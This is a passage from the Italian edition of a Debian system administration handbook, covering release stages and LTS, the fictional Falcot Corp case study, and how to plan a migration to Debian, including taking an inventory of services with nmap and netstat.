Supponiamo che il nostro pacchetto sia ora incluso in Testing. Anche se ha margini di miglioramento, il manutentore deve continuare a migliorarlo e riavviare il processo dalla Unstable (ma la sua successiva inclusione nella Testing è generalmente più veloce: se non è stato cambiato in modo significativo, tutte le sue dipendenze sono già disponibili). Quando raggiunge la perfezione, il manutentore ha completato il proprio lavoro. La fase successiva è l'inclusione nella distribuzione Stable, che è in realtà una semplice copia della Testing al momento deciso dal Release Manager. Idealmente, questa decisione viene presa quando il programma di installazione è pronto e quando nessun programma in Testing contiene alcun bug critico conosciuto.

Dato che un momento simile non si verifica mai in realtà, in pratica Debian deve fare un compromesso: saranno rimossi i pacchetti il cui manutentore non è riuscito a correggere in tempo i bug, o si accetta di rilasciare una distribuzione con alcuni bug nelle migliaia di programmi. Il Release Manager avrà già annunciato in precedenza un periodo di freeze (congelamento), durante il quale ogni aggiornamento di Testing deve essere approvato. L'obiettivo è quello di evitare qualsiasi nuova versione (con i suoi nuovi bug), e di approvare solo aggiornamenti che correggono i bug.

Figura 1.3. Il percorso di un pacchetto attraverso le varie versioni di Debian

VOCABOLARIO Freeze: dirittura d'arrivo

Durante il periodo di freeze, lo sviluppo della distribuzione Testing è bloccato; non sono più consentiti aggiornamenti automatici. I soli Release Manager sono autorizzati a modificare pacchetti, secondo i propri criteri. Il proposito è quello di prevenire la comparsa di nuovi bug introducendo nuove versioni; sono autorizzati solo aggiornamenti accuratamente esaminati quando correggono bug significativi.

Dopo il rilascio di una nuova versione stabile, lo Stable Release Manager ne gestisce tutto l'ulteriore sviluppo (chiamate «revisioni», es: 7.1, 7.2, 7.3 per la versione 7). Questi aggiornamenti includono sistematicamente tutte le patch di sicurezza. Questi potranno anche includere correzioni più importanti (per poter includere aggiornamenti di un pacchetto, il manutentore deve dimostrare la gravità del problema che intende correggere).

Fine del percorso, il nostro ipotetico pacchetto viene incluso nella distribuzione Stable. Questo percorso, non senza difficoltà, spiega il notevole tempo che separa due rilasci di Debian Stable. Ciò contribuisce, nel complesso, alla sua reputazione di qualità. Inoltre, la maggior parte degli utenti si accontenta di utilizzare una delle tre distribuzioni disponibili contemporaneamente. Gli amministratori di sistema, preoccupati soprattutto per la stabilità dei loro server, prendono in giro l'ultima versione di GNOME; possono scegliere Debian Stable e sono contenti. Gli utenti finali, più interessati alle ultime versioni di GNOME o KDE Plasma piuttosto che ad un sistema stabile e solido come una roccia, sceglieranno Debian Testing per avere un buon compromesso tra la mancanza di gravi problemi e un software abbastanza aggiornato. Infine, gli sviluppatori e gli utenti più esperti possono tracciare il sentiero, testando tutti gli ultimi sviluppi in Debian Unstable con il rischio di soffrire qualche mal di testa per i bug che saltano fuori ad ogni nuova versione di un programma. Ad ognuno la sua Debian!

CULTURA GNOME e KDE Plasma, ambienti grafici per il desktop

GNOME (GNU Network Object Model Environment) e Plasma di KDE (precedentemente noto come K Desktop Environment) sono i due ambienti desktop grafici più popolari nel mondo del software libero, e saranno presentati nel dettaglio in Sezione 13.3, «Desktop grafici».

Un ambiente desktop è un insieme di programmi raggruppati insieme per consentire una facile gestione delle operazioni più comuni attraverso un'interfaccia grafica. Generalmente includono un file manager, una suite per ufficio, un browser web, un programma di posta elettronica, accessori multimediali, ecc. La differenza più visibile risiede nella scelta della libreria grafica utilizzata: GNOME ha scelto GTK+ (software libero con licenza LGPL), e la comunità KDE ha scelto Qt (un progetto sostenuto da un'azienda, disponibile oggi sia sotto licenza GPL che commerciale).

→ https://www.gnome.org/

→ https://www.kde.org/

Figura 1.4. Percorso cronologico di un programma impacchettato da Debian

1.6.5. Stato di Oldstable e Oldoldstable

Ogni rilascio Stable ha una durata prevista di circa 5 anni e dato che i rilasci tendono ad avvenire ogni 2 anni, ci possono essere fino a 3 rilasci che devono essere supportati in un determinato momento. Quando viene rilasciata una nuova versione stabile, il precedente rilascio diventa Oldstable e quello ancora prima diventa Oldoldstable.

Questo Supporto a Lungo Termine (LTS) dei rilasci di Debian è un'iniziativa recente: singoli collaboratori e aziende hanno unito le forze per creare il gruppo LTS di Debian. I rilasci più vecchi che non sono più supportati dal team di sicurezza di Debian sono sotto la responsabilità di questo nuovo team.

Il team di sicurezza di Debian gestisce il supporto di sicurezza sull'attuale versione Stable ed anche sulla versione Oldstable (ma solo per il tempo strettamente necessario per garantire un anno di sovrapposizione con l'attuale versione stabile). Ciò equivale grosso modo a tre anni di supporto per ogni versione. The team LTS di Debian si occupa degli ultimi (due) anni di supporto di sicurezza in modo che ogni rilascio benefici di almeno 5 anni di assistenza e che gli utenti possano effetuare l'aggiornamento dalla versione N alla N+2. Per esempio da Debian 8 Jessie a Debian 10 Buster.

→ https://wiki.debian.org/LTS

COMUNITÀ Aziende che sponsor del LTS

Il Supporto a Lungo Termine è un impegno difficile mantenere in Debian perché i volontari tendono a evitare il lavoro che non è molto divertente. E fornire supporto di sicurezza per 5 anni sul vecchio software è — per molti contribuenti — molto meno divertente della creazione dei pacchetti delle nuove versioni fornite o dello sviluppo di nuove funzionalità.

Per farlo nascere, questo progetto ha contato sul fatto che il supporto a lungo termine era particolarmente importante per le aziende che sarebbero state disposte a ripartire il costo di questo supporto per la sicurezza.

Il progetto è iniziato nel giugno 2014: alcune organizzazioni hanno permesso ai loro dipendenti di contribuire a tempo parziale a Debian LTS, mentre altri hanno preferito sponsorizzare il progetto con denaro in modo che i collaboratori Debian siano pagati per fare il lavoro che loro non avrebbero fatto gratuitamente. La maggior parte dei contributori Debian disposto a pagare per lavorare su LTS si sono riuniti per creare un'offerta di sponsorizzazione chiara gestita da Freexian (società di Raphaël Hertzog):

→ https://www.freexian.com/services/debian-lts.html

Nel team LTS di Debian, i volontari lavorano sui pacchetti stanno loro a cuore, mentre i collaboratori pagati danno priorità ai pacchetti utilizzati dai loro sponsor.

Il progetto è sempre alla ricerca di nuovi sponsor: che ne dici della tua azienda? Potresti lasciare che un dipendente part-time dia supporto a lungo termine? Potresti stanziare un piccolo budget per il supporto alla sicurezza?

→ https://wiki.debian.org/LTS/Funding

Capitolo 2. Presentazione del caso di studio

Nel contesto di questo libro, sei l'amministratore di sistema di una piccola impresa in espansione. In collaborazione con i dirigenti devi giungere a ridefinire la strategia per i sistemi informativi per il prossimo anno. Scegli di migrare progressivamente a Debian, per ragioni tanto pratiche quanto economiche. Vediamo più in dettaglio ciò che ti aspetta…

Abbiamo concepito questo caso di studio per trattare tutti i moderni servizi per sistemi informativi attualmente usati da una media azienda. Dopo aver letto questo libro, avrai tutti gli elementi necessari per installare Debian sui tuoi server e camminare da solo. Imparerai anche come trovare informazioni efficientemente in caso di difficoltà.

2.1. Necessità IT in veloce crescita

Falcot Corp produce attrezzature audio di alta qualità. L'azienda è in forte crescita e ha due siti produttivi, uno a Saint-Étienne e l'altro a Montpellier. Il primo ha circa 150 dipendenti, ospita una fabbrica per la produzione di altoparlanti, un laboratorio di progettazione e tutti gli uffici amministrativi. Il sito di Montpellier è più piccolo, con solo circa 50 lavoratori, e produce amplificatori.

NOTA Azienda di fantasia creata per il caso di studio

L'azienda Falcot Corp, usata qui come esempio, è interamente di fantasia. Qualsiasi somiglianza con un'azienda esistente è solamente una coincidenza. Alla stessa maniera, alcuni dati di esempio in questo libro possono essere di fantasia.

Il sistema informatico ha avuto difficoltà a stare al passo con la crescita dell'azienda, per cui ora sono decisi a ridefinirlo completamente per raggiungere i vari obiettivi stabiliti dal management:

- infrastruttura moderna e facilmente ridimensionabile;

- riduzione del costo delle licenze del software grazie all'uso di software Open Source;

- installazione di un sito web di ecommerce, eventualmente B2B (business to business, cioè che collega sistemi informativi tra aziende diverse, come un fornitore e i suoi clienti);

- significativo miglioramento della sicurezza per proteggere meglio i segreti industriali relativi ai nuovi prodotti.

L'intero sistema informativo sarà rivisto sulle basi di questi obiettivi.

2.2. Strategia

Con la tua collaborazione, il management IT ha condotto uno studio leggermente più esteso, identificando alcuni vincoli e definendo un piano di migrazione al sistema Open Source scelto, Debian.

Un vincolo significativo identificato è che la contabilità usa software specifico che gira solo su Microsoft Windows™. Il laboratorio, da parte sua, usa software CAD che gira su OS X™.

Figura 2.1. Panoramica della rete della Falcot Corp

Il passaggio a Debian sarà graduale; una piccola impresa, con mezzi limitati, non può ragionevolmente cambiare tutto da un giorno all'altro. Per iniziare lo staff IT deve essere addestrato all'amministrazione di Debian. Poi i server saranno convertiti, iniziando con l'infrastruttura di rete (router, firewall, ecc.) e proseguendo coi servizi agli utenti (condivisione dei file, web, SMTP, ecc.). Poi i computer degli uffici saranno gradualmente migrati a Debian, affinché ogni dipartimento sia addestrato (internamente) durante il passaggio al nuovo sistema.

2.3. Perché una distribuzione GNU/Linux?

FONDAMENTALI Linux o GNU/Linux?

Linux, come già sai, è solo un kernel. Le espressioni “distribuzione Linux” e “sistema Linux” sono, perciò, scorrette: si tratta, in realtà, di distribuzioni o di sistemi basati su Linux. Queste espressioni omettono di menzionare il software che completa sempre questo kernel, tra cui i programmi sviluppati dal Progetto GNU. Il Dott. Richard Stallman, fondatore di questo progetto, insiste affinché l'espressione “GNU/Linux” sia usata sistematicamente, al fine di riconoscere meglio gli importanti contributi del Progetto GNU e i principi di libertà su cui essi sono fondati.

Debian ha scelto di seguire questa raccomandazione e, perciò, chiama le proprie distribuzioni di conseguenza (perciò l'ultimo rilascio stabile è Debian GNU/Linux 10).

Diversi fattori hanno indicato questa scelta. L'amministratore di sistema, che aveva dimestichezza con questa distribuzione, si è assicurato che fosse elencata tra i candidati per la revisione del sistema informatico. Le difficili condizioni economiche e la feroce competizione hanno limitato il budget per questa operazione, nonostante l'importanza critica per il futuro dell'azienda. Questo è il motivo per cui le soluzioni Open Source sono state scelte velocemente: diversi studi recenti indicano che sono meno costose delle soluzioni proprietarie e al tempo stesso forniscono una qualità del servizio uguale o migliore, se è disponibile del personale qualificato per gestirle.

IN PRATICA Total cost of ownership (TCO)

Il Total Cost of Ownership è il totale di tutto il denaro speso per il possesso o l'acquisizione di un oggetto, in questo caso con riferimento al sistema operativo. Questo prezzo comprende ogni possibile costo di licenza, costi per addestrare il personale a lavorare col nuovo software, sostituire macchine che sono troppo lente, eseguire riparazioni aggiuntive, ecc. Ogni cosa che deriva direttamente dalla scelta iniziale è tenuta in conto.

Questo TCO, che varia secondo il criterio scelto per la valutazione dello stesso, è raramente significativo se considerato da solo. Comunque, è molto interessante confrontare i TCO per opzioni diverse se sono calcolati secondo le stesse regole. Questa tabella di valutazione è, perciò, di fondamentale importanza ed è facile manipolarla al fine di trarre una conclusione preordinata. Perciò, il TCO per una singola macchina non ha senso, dal momento che il costo di un amministratore si riflette anche nel numero di macchine che gestisce, un numero che ovviamente dipende dal sistema operativo e dagli strumenti proposti.

Tra i sistemi operativi gratuiti, il dipartimento IT ha esaminato i sistemi BSD gratuiti (OpenBSD, FreeBSD, e NetBSD), GNU Hurd, e le distribuzioni Linux. GNU Hurd, che non ha ancora rilasciato una versione stabile è stato immediatamente scartato. La scelta è più semplice tra BSD e Linux. Il primo ha molti meriti, specialmente sui server. Il pragmatismo però ha portato alla scelta di un sistema Linux, dal momento che sia il numero di installazioni che la sua popolarità sono molto significative e hanno numerose conseguenze positive. Una di queste conseguenze è che è più facile trovare personale qualificato per amministrare macchine Linux che tecnici esperti di BSD. In più, Linux si adatta al nuovo hardware più velocemente di BSD (anche se spesso sono alla pari in questa corsa). Infine, le distribuzioni Linux sono spesso più adattate alle interfacce grafiche amichevoli, indispensabili per i principianti durante la migrazione di tutte le macchine dell'ufficio al nuovo sistema.

ALTERNATIVA Debian GNU/kFreeBSD

A partire da Debian 6 Squeeze, è possibile usare Debian con un kernel FreeBSD su computer a 32 e a 64 bit; questo è il significato delle architetture kfreebsd-i386 e kfreebsd-amd64. Sebbene queste architetture non siano "ufficiali” (sono separate ed ospitate su — ports.debian.org), forniscono oltre il 70% del software pacchettizzato da Debian.

Queste architetture possono essere una scelta appropriata per gli amministratori della Falcot Corp, specialmente per un firewall (il kernel supporta tre diversi firewall: IPF, IPFW, PF) o per un NAS (network attached storage system, per il quale il filesystem ZFS è stato provato e approvato).

2.4. Perché la distribuzione Debian?

Una volta che è stata scelta la famiglia di Linux, deve essere scelta un'opzione più specifica. Di nuovo, ci sono molti criteri da considerare. La distribuzione scelta deve essere capace di funzionare per diversi anni, dal momento che la migrazione a un'altra comporterebbe dei costi aggiuntivi (sebbene minori che se la migrazione fosse tra due sistemi operativi completamente differenti, come Windows o OS X).

La sostenibilità è perciò essenziale e deve garantire aggiornamenti regolari e correzioni di sicurezza nel corso di diversi anni. Anche la tempistica degli aggiornamenti è importante, dal momento che, con così tante macchine da gestire, Falcot Corp non può gestire questa operazione complessa troppo spesso. Il dipartimento IT, perciò, insiste nell'utilizzare l'ultima versione stabile della distribuzione, beneficiando della migliore assistenza tecnica e delle correzioni di sicurezza garantite. Infatti, le correzioni di sicurezza in genere sono garantite solo per un periodo limitato per le vecchie versioni di una distribuzione.

Infine, per motivi di omogeneità e facilità di amministrazione, la stessa distribuzione deve girare su tutti i server e computer degli uffici.

2.4.1. Distribuzioni commerciali e guidate dalla comunità

Ci sono due categorie principali di distribuzioni Linux: commerciali e guidate dalla comunità. Le prime, sviluppate da aziende, sono vendute con servizi di supporto commerciali. Le altre sono sviluppate secondo lo stesso modello aperto di sviluppo del software libero di cui sono composte.

Una distribuzione commerciale avrà, perciò, la tendenza a rilasciare nuove versioni più di frequente per commercializzare meglio gli aggiornamenti e i servizi associati. Il loro futuro è collegato direttamente al successo commerciale della loro azienda e molte sono già scomparse (Caldera Linux, StormLinux, Mandriva Linux, ecc.).

Una distribuzione comunitaria non segue un proprio calendario. Come il kernel Linux, le nuove versioni sono rilasciate quando sono stabili, mai prima. La sua sopravvivenza è garantita finché ci sono abbastanza sviluppatori individuali o aziende esterne che la supportano.

Un confronto tra diverse distribuzioni Linux ha portato alla scelta di Debian per varie ragioni:

- È una distribuzione comunitaria, con lo sviluppo assicurato indipendentemente da qualsiasi vincolo commerciale; i suoi obiettivi sono, quindi, essenzialmente di natura tecnica, il che sembra che favorisca la qualità complessiva del prodotto.

- Di tutte le distribuzioni comunitarie, è la più significativa da qualunque prospettiva: nel numero dei contributori, numero di pacchetti software disponibili e anni di esistenza continua. La dimensione della sua comunità è una testimonianza incontrovertibile della sua continuità.

- Statisticamente, le nuove versioni vengono rilasciate ogni 18-24 mesi, e sono supportate per 5anni, ad una cadenza che è gradita dagli amministratori.

- Un sondaggio su diverse aziende francesi di servizi specializzate nel software libero ha mostrato che tutte forniscono assistenza tecnica per Debian; è anche, per molte di esse, la distribuzione che hanno scelto internamente. Questa varietà di potenziali fornitori è uno dei principali asset per l'indipendenza della Falcot Corp.

- Infine, Debian è disponibile su una moltitudine di architetture, incluse ppc64el per processori OpenPOWER; sarà, quindi, possibile installarla sui più recenti server IBM della Falcot Corp.

IN PRATICA Supporto Debian a Lungo Termine

Il progetto Debian Long Term Support (LTS) è iniziato nel 2014 e si propone di fornire 5 anni di supporto di sicurezza a tutte le versioni Debian stable rilasciate. Poiché LTS è di primaria importanza per le organizzazioni di grandi dimensioni, il progetto cerca di mettere in comune le risorse dalle aziende che usano Debian.

→ https://wiki.debian.org/LTS

La Falcot Corp non è abbastanza grande da poter lasciare un membro del suo personale IT per contribuire al progetto LTS, per cui l'azienda ha deciso di sottoscrivere contratti Debian LTS di Freexian e fornire il supporto finanziario. Grazie a questo, gli amministratori Falcot sanno che i pacchetti che utilizzano saranno trattati in via prioritaria e hanno un contatto diretto con il team LTS in caso di problemi.

→ https://wiki.debian.org/LTS/Funding

→ https://www.freexian.com/services/debian-lts.html

Una volta che Debian è stata scelta, si deve scegliere quale versione usare. Vediamo perché gli amministratori hanno scelto Debian Buster.

2.5. Perché Debian Buster?

Ogni rilascio di Debian inizia la propria vita come una distribuzione in continuo cambiamento, conosciuta anche come “Testing”. Ma nel momento in cui scriviamo queste righe, Debian Buster è l'ultima versione “Stabile” di Debian.

La scelta di Debian Buster è ben giustificata basandosi sul fatto che ogni amministratore interessato alla qualità dei propri server tenderà naturalmente verso la versione stabile di Debian. Anche se la precedente distribuzione stabile sarà supportata ancora per un po', gli amministratori della Falcot non la prendono in considerazione perché il suo periodo di supporto non dura abbastanza a lungo e perché l'ultima versione introduce interessanti funzionalità che ritengono importanti.

Capitolo 3. Analisi delle impostazioni esistenti e migrazione

Qualsiasi revisione di un sistema di computer deve tenere in conto il sistema esistente. Ciò permette di riutilizzare il più possibile tutte le risorse disponibili e garantisce l'interoperabilità dei vari elementi che compongono il sistema. Questo studio presenterà uno schema generico da seguire in qualsiasi migrazione di una infrastruttura di calcolo verso Linux.

3.1. Coesistenza in ambienti eterogenei

Debian si integra molto bene in tutti i tipi di ambienti esistenti e si comporta bene con qualsiasi altro sistema operativo. Questa armonia quasi perfetta deriva dalla pressione di mercato che richiede che chi pubblica software sviluppi programmi che seguono gli standard. La conformità con gli standard permette di sostituire i programmi: client o server, liberi o meno.

3.1.1. Integrazione con macchine Windows

Il supporto a SMB/CIFS di Samba assicura un'eccellente comunicazione all'interno di un contesto Windows. Condivide file e code di stampa con client Windows e include software che permette a una macchina Linux di usare risorse disponibili su dei server Windows.

STRUMENTO Samba

L'ultima versione di Samba può sostituire la maggior parte delle funzionalità di Windows: da quelle di un semplice server Windows NT (autenticazione, file, code di stampa, scaricamento dei driver per le stampanti, DFS, ecc.) a quello più avanzato (un controller di dominio compatibile con Active directory).

3.1.2. Integrazione con macchine OS X

Le macchine OS X forniscono, e possono usare, dei servizi di rete come file server e condivisione di stampanti. Questi servizi sono pubblicati sulla rete locale, il che permette alle altre macchine di scoprirli e usarli senza configurazioni manuali, usando l'implementazione dell'insieme di protocolli Zeroconf Bonjour. Debian include un'altra implementazione, chiamata Avahi, che fornisce le stesse funzionalità.

Nella direzione opposta, il demone Netatalk può essere usato per fornire dei file server alle macchine OS X sulla rete. Questo demone implementa il protocollo AFP (AppleShare) e le notifiche necessarie perché i server siano trovati automaticamente dai client OS X.

Le reti Mac OS più vecchie (prima di OS X) usavano un protocollo differente chiamato AppleTalk. Per ambienti che includono macchine che usano questo protocollo, Netatalk fornisce anche il protocollo AppleTalk (infatti, è nato come reimplementazione di questo protocollo). Assicura l'operatività sia del server dei file e delle code di stampa, che del server dell'ora (sincronizzazione degli orologi). La sua funzione di router permette l'interconnessione con reti AppleTalk.

3.1.3. Integrazione con altre macchine Linux/Unix

Infine, NFS e NIS, entrambi inclusi, garantiscono l'interazione con sistemi Unix. NFS assicura la funzionalità di server dei file, mentre NIS crea le directory degli utenti. Il livello di stampa BSD, usato dalla maggior parte di sistemi Unix, permette anche la condivisione delle code di stampa.

Figura 3.1. Coesistenza di Debian con sistemi OS X, Windows e Unix

3.2. Come migrare

Al fine di garantire la continuità dei servizi, ogni migrazione di computer deve essere pianificata ed eseguita secondo il piano. Questo principio si applica qualunque sia il sistema operativo usato.

3.2.1. Rilevamento e identificazione dei servizi

Per quanto sembri semplice, questo passo è essenziale. Un amministratore scrupoloso conosce veramente i ruoli principali di ogni server, ma tali ruoli possono cambiare e talvolta utenti esperti possono aver installato servizi non «autorizzati». Sapere che esistono permette almeno di decidere cosa farne, piuttosto che eliminarli inconsapevolmente.

Per questo scopo, è saggio informare di questo progetto i propri utenti prima di migrare il server. Per coinvolgerli nel progetto, può essere utile installare i programmi liberi più comuni sui loro computer prima della migrazione, quelli che saranno incontrati di nuovo dopo la migrazione a Debian; LibreOffice e la suite Mozilla ne sono i migliori esempi.

3.2.1.1. Rete e processi

Lo strumento nmap (nel pacchetto con lo stesso nome) identificherà velocemente i servizi Internet ospitati da una macchina connessa alla rete senza nemmeno aver bisogno di accedervi. Basta semplicemente eseguire il seguente comando su un'altra macchina connessa alla stessa rete:

$ nmap mirwiz

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-06 14:41 CEST

Nmap scan report for mirwiz (192.168.1.104)

Host is up (0.00062s latency).

Not shown: 992 closed ports

PORT     STATE SERVICE

22/tcp   open  ssh

25/tcp   open  smtp

80/tcp   open  http

111/tcp  open  rpcbind

139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds

5666/tcp open  nrpe

9999/tcp open  abyss

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

ALTERNATIVA Usare netstat per trovare l'elenco dei servizi disponibili

Su una macchina Linux, il comando netstat -tupan mostrerà un elenco di sessioni TCP attive o pendenti e di porte UDP sulle quali i programmi in esecuzione sono in ascolto. Ciò facilita l'identificazione dei servizi offerti sulla rete.

PER APPROFONDIRE IPv6

Alcuni comandi di rete possono funzionare con IPv4 (solitamente è quello predefinito) o con IPv6. Tra questi ci sono i comandi nmap e netstat, ma anche altri, come route o ip. La convenzione è che questo comportamento è abilitato dall'opzione -6 sulla riga di comando.

Se il server è una macchina Unix che offre account di shell agli utenti, è interessante determinare se i processi sono eseguiti sullo sfondo in assenza del loro proprietario. Il comando ps auxw mostra un elenco di tutti i processi con l'identità dei loro utenti. Confrontando queste informazioni con l'output del comando who, che mostra un elenco degli utenti collegati, è possibile identificare server non autorizzati o non dichiarati o programmi in esecuzione sullo sfondo. Guardare i crontab (tabelle che elencano le azioni automatiche programmate dagli utenti) fornirà spesso informazioni interessanti sulle funzioni ricoperte dal server (una spiegazione completa di cron è disponibile nella Sezione 9.7, «Pianificare attività con cron e atd»).

In ogni caso è essenziale fare il backup dei propri server: questo permette il recupero di informazioni a posteriori, quando gli utenti segnaleranno problemi specifici dovuti alla migrazione.

3.2.2. Fare il backup della configurazione

È saggio conservare la configurazione di ogni servizio identificato al fine di essere in grado di installare quello equivalente sul server aggiornato. Il minimo indispensabile è fare una copia di backup dei file di configurazione.

Per le macchine Unix, i file di configurazione si trovano solitamente in /etc/, ma possono trovarsi in una sotto-directory di /usr/local/. Questo è il caso quando un programma è stato installato dai sorgenti, piuttosto che da un pacchetto. In alcuni casi si possono trovare sotto /opt/.

Per i servizi che gestiscono dati (come i database), è fortemente consigliato di esportare i dati in un formato standard che sarà facilmente importato dal nuovo software. Un tale formato è solitamente in modalità testo e documentato; può essere, per esempio, un dump SQL per un database o un file LDIF per un server LDAP.

Figura 3.2. Backup di database

Il software di ogni server è differente ed è impossibile descrivere dettagliatamente tutti i casi esistenti. Confrontare la documentazione del software attuale e di quello nuovo per identificare le porzioni esportabili (perciò re-importabili) e quelle che richiedono un intervento manuale. La lettura di questo libro chiarirà la configurazione dei principali programmi per server Linux.

3.2.3. Prendere il controllo di un server Debian esistente

Si può analizzare una macchina che già esegue Debian per prendere efficacemente il controllo della sua manutenzione.

Il primo file da controllare è /etc/debian_version, che solitamente contiene il numero di versione per il sistema Debian installato (fa parte del pacchetto base-files). Se indica codename/sid, significa che il sistema è stato aggiornato con pacchetti provenienti da una delle distribuzioni di sviluppo (testing oppure unstable).

Il comando apt-show-versions (dal pacchetto Debian con lo stesso nome) controlla l'elenco dei pacchetti installati e identifica le versioni disponibili. Anche aptitude può essere usato per questi compiti, anche se in maniera meno sistematica.

Un'occhiata al file /etc/apt/sources.list (ed alla directory /etc/apt/sources.list.d/) mostrerà da dove probabilmente provengono i pacchetti Debian installati. Se appaiono molte sorgenti sconosciute, l'amministratore può scegliere di reinstallare completamente il sistema del computer per assicurare una compatibilità ottimale con il software fornito da Debian.

Il file sources.list è spesso un buon indicatore: la maggior parte degli amministratori mantiene, almeno nei commenti, l'elenco delle fonti APT usate precedentemente. Ma non dimentichiamo che le fonti usate in passato potrebbero essere state eliminate e che dei pacchetti qualsiasi, scaricati da Internet, potrebbero essere stati installati (con il comando dpkg). In questo caso la macchina è fuorviante nella sua apparenza di Debian «standard». Questo è il motivo per cui si dovrebbe fare attenzione ad ogni indizio della presenza di pacchetti esterni (presenza di file deb in directory non usuali, numeri di versione dei pacchetti con suffissi speciali che indicano che hanno avuto origine all'esterno del progetto Debian, come ubuntu o lmde, ecc.)

Allo stesso modo, è interessante analizzare il contenuto della directory /usr/local/, che ha lo scopo di contenere programmi compilati e installati manualmente. Elencare il software installato in questa maniera è istruttivo dal momento che solleva interrogativi sulle ragioni per cui non è stato usato il pacchetto Debian corrispondente, se un tale pacchetto esiste.

PANORAMICA cruft/cruft-ng, debsums and apt-show-versions

I pacchetti cruft e cruft-ng propongono l'elenco dei file disponibili che non sono posseduti da alcun pacchetto. Hanno alcuni filtri (più o meno efficaci e più o meno aggiornati) per evitare di riportare file legittimi (file generati da pacchetti Debian o file di configurazione generati non gestiti da dpkg, ecc.).

Si faccia attenzione a non eliminare ciecamente tutto quello che cruft e cruft-ng potrebbero elencare!

Il pacchetto debsums consente di controllare l'hash MD5 di ogni file installato da un pacchetto rispetto ad un hash di riferimento e può aiutare a determinare quali file potrebbero essere stati alterati (vedi TIP Finding changed files). Tenere presente che i file creati (file generati da pacchetti Debian o file di configurazione generati non gestiti da dpkg, ecc.) non sono soggetti a questo controllo.

Il pacchetto apt-show-versions fornisce uno strumento per controllare i pacchetti installati senza un pacchetto sorgente e può aiutare a determinare quelli di terze parti (see Sezione 6.7.3.1, «Packages removed from the Debian Archive»).

3.2.4. Installazione di Debian

Una volta che tutte le informazioni sul server attuale sono conosciute, possiamo spegnerlo e installarci Debian.

Per scegliere la versione appropriata, si deve conoscere l'architettura del computer. Se è un PC piuttosto recente, molto probabilmente è amd64 (i PC più vecchi erano solitamente i386). In altri casi si possono ridurre le scelte possibili in base al sistema usato precedentemente.

Tabella 3.1 non ha la pretesa di essere completa, ma può essere utile. Si noti che elenca le architetture Debian che non sono più supportate nell'attuale versione stabile. In ogni caso, la documentazione originale del computer è la fonte più affidabile per trovare questa informazione.

Tabella 3.1. Sistema operativo e architettura corrispondente

Sistema operativo

Architettura

DEC Unix (OSF/1)

alpha, mipsel

HP Unix

ia64, hppa

IBM AIX

powerpc

Irix

mips

OS X

amd64, powerpc, i386

z/OS, MVS

s390x, s390

Solaris, SunOS

sparc, i386, m68k

Ultrix

mips

VMS

alpha

Windows 95/98/ME

i386

Windows NT/2000

i386, alpha, ia64, mipsel

Windows XP / Windows Server 2008

i386, amd64, ia64

Windows RT

armel, armhf, arm64

Windows Vista / Windows 7-8-10

i386, amd64

HARDWARE PC a 64 bit e PC a 32 bit

La maggior parte dei computer più recenti ha processori a 64 bit, Intel o AMD, compatibili con i più vecchi processori a 32 bit; perciò il software compilato per l'architettura «i386» funziona. D'altra parte, questa modalità compatibile non sfrutta pienamente le capacità di questi nuovi processori. Questo è il motivo per cui Debian fornisce l'architettura «amd64» che funziona sia con i chip AMD recenti sia con i processori Intel «emt64» (compresa la maggior parte delle serie Core), che sono molto simili ai processori AMD64.

3.2.5. Installazione e configurazione dei servizi scelti

Una volta che Debian è installata, è necessario installare e configurare, individualmente, ognuno dei servizi che questo computer deve ospitare. La nuova configurazione deve tenere in considerazione quella precedente per assicurare una transizione indolore. Tutte le informazioni raccolte nei primi due passi saranno utili per completare con successo questa parte.

Figura 3.3. Installazione dei servizi scelti

Prima di gettarsi a capofitto, è fortemente consigliato leggere il resto di questo libro. Dopo di che si capirà meglio come configurare i servizi previsti.

Capitolo 4. Installazione

Per poter utilizzare Debian, è necessario installarla in un computer. Questa operazione viene gestita dal programma debian-installer. Una corretta installazione coinvolge molte operazioni. In questo capitolo verranno esaminate in ordine cronologico.

FONDAMENTALI Un corso per rimettersi in pari sull'argomento è presente nell'appendice

L'installazione di un computer è sempre più semplice, se si ha familiarità con il modo in cui funziona. Se non è così è consigliabile leggere il piccolo corso Appendice B, Breve Corso di Recupero prima di continuare il capitolo.

Il programma di installazione per Buster è basato su debian-installer. La sua struttura modulare gli permette di funzionare in diversi scenari ed evolvere adattandosi facilmente ai cambiamenti. Nonostante le limitazioni dovute alla necessità di supportare un numero elevato di architetture, il programma di installazione è molto semplice da utilizzare per i principianti, dato che fornisce assistenza in ogni fase del processo. Il riconoscimento automatico dell'hardware, il partizionamento guidato e le interfacce grafiche hanno risolto la maggior parte dei problemi che riscontravano i neofiti nelle prime versioni di Debian.

Per l'installazione sono richiesti 128 MB di RAM (Random Access Memory) e almeno 2 GB di spazio su disco. Tutti i computer della Falcot rispondono a questi criteri. È da notare, tuttavia, che tali valori valgono per l'installazione di un sistema molto limitato senza interfaccia grafica. Per una workstation desktop base da ufficio è consigliabile un minimo di 1 GB di RAM e 10 GB di spazio su disco.

ATTENZIONE Aggiornamento da Stretch

Se avete già Debian Stretch installata nel proprio computer, questo capitolo non è per voi! A differenza di altre distribuzioni, Debian consente di aggiornare un sistema da una versione precedente a quella successiva senza doverlo reinstallare. La reinstallazione, oltre ad essere inutile, potrebbe essere anche pericolosa in quanto potrebbe rimuovere programmi già installati.

Il processo di aggiornamento sarà descritto in Sezione 6.7, «Aggiornare da una distribuzione stabile alla successiva».

4.1. Modalità di installazione

Un sistema Debian può essere installato da diversi tipi di supporti, a patto che il BIOS della macchina lo permetta. È possibile, ad esempio, l'avvio con un CD-ROM, una chiavetta USB o anche attraverso la rete.

FONDAMENTALI BIOS, l'interfaccia hardware/software

Il BIOS (acronimo di Basic Input/Output System) è un software che è incluso nella scheda madre (la scheda elettronica che collega tutte le periferiche), ed è eseguito quando il computer viene avviato, al fine di caricare il sistema operativo (tramite un bootloader adattato). Rimane attivo sullo sfondo per fornire un'interfaccia tra l'hardware e il software (nel nostro caso, il kernel Linux).

4.1.1. Installazione da un CD-ROM/DVD-ROM

Il supporto di installazione più utilizzato è il CD-ROM (o DVD-ROM, che si comporta esattamente allo stesso modo): il computer viene avviato da questo supporto e viene eseguito il programma di installazione.

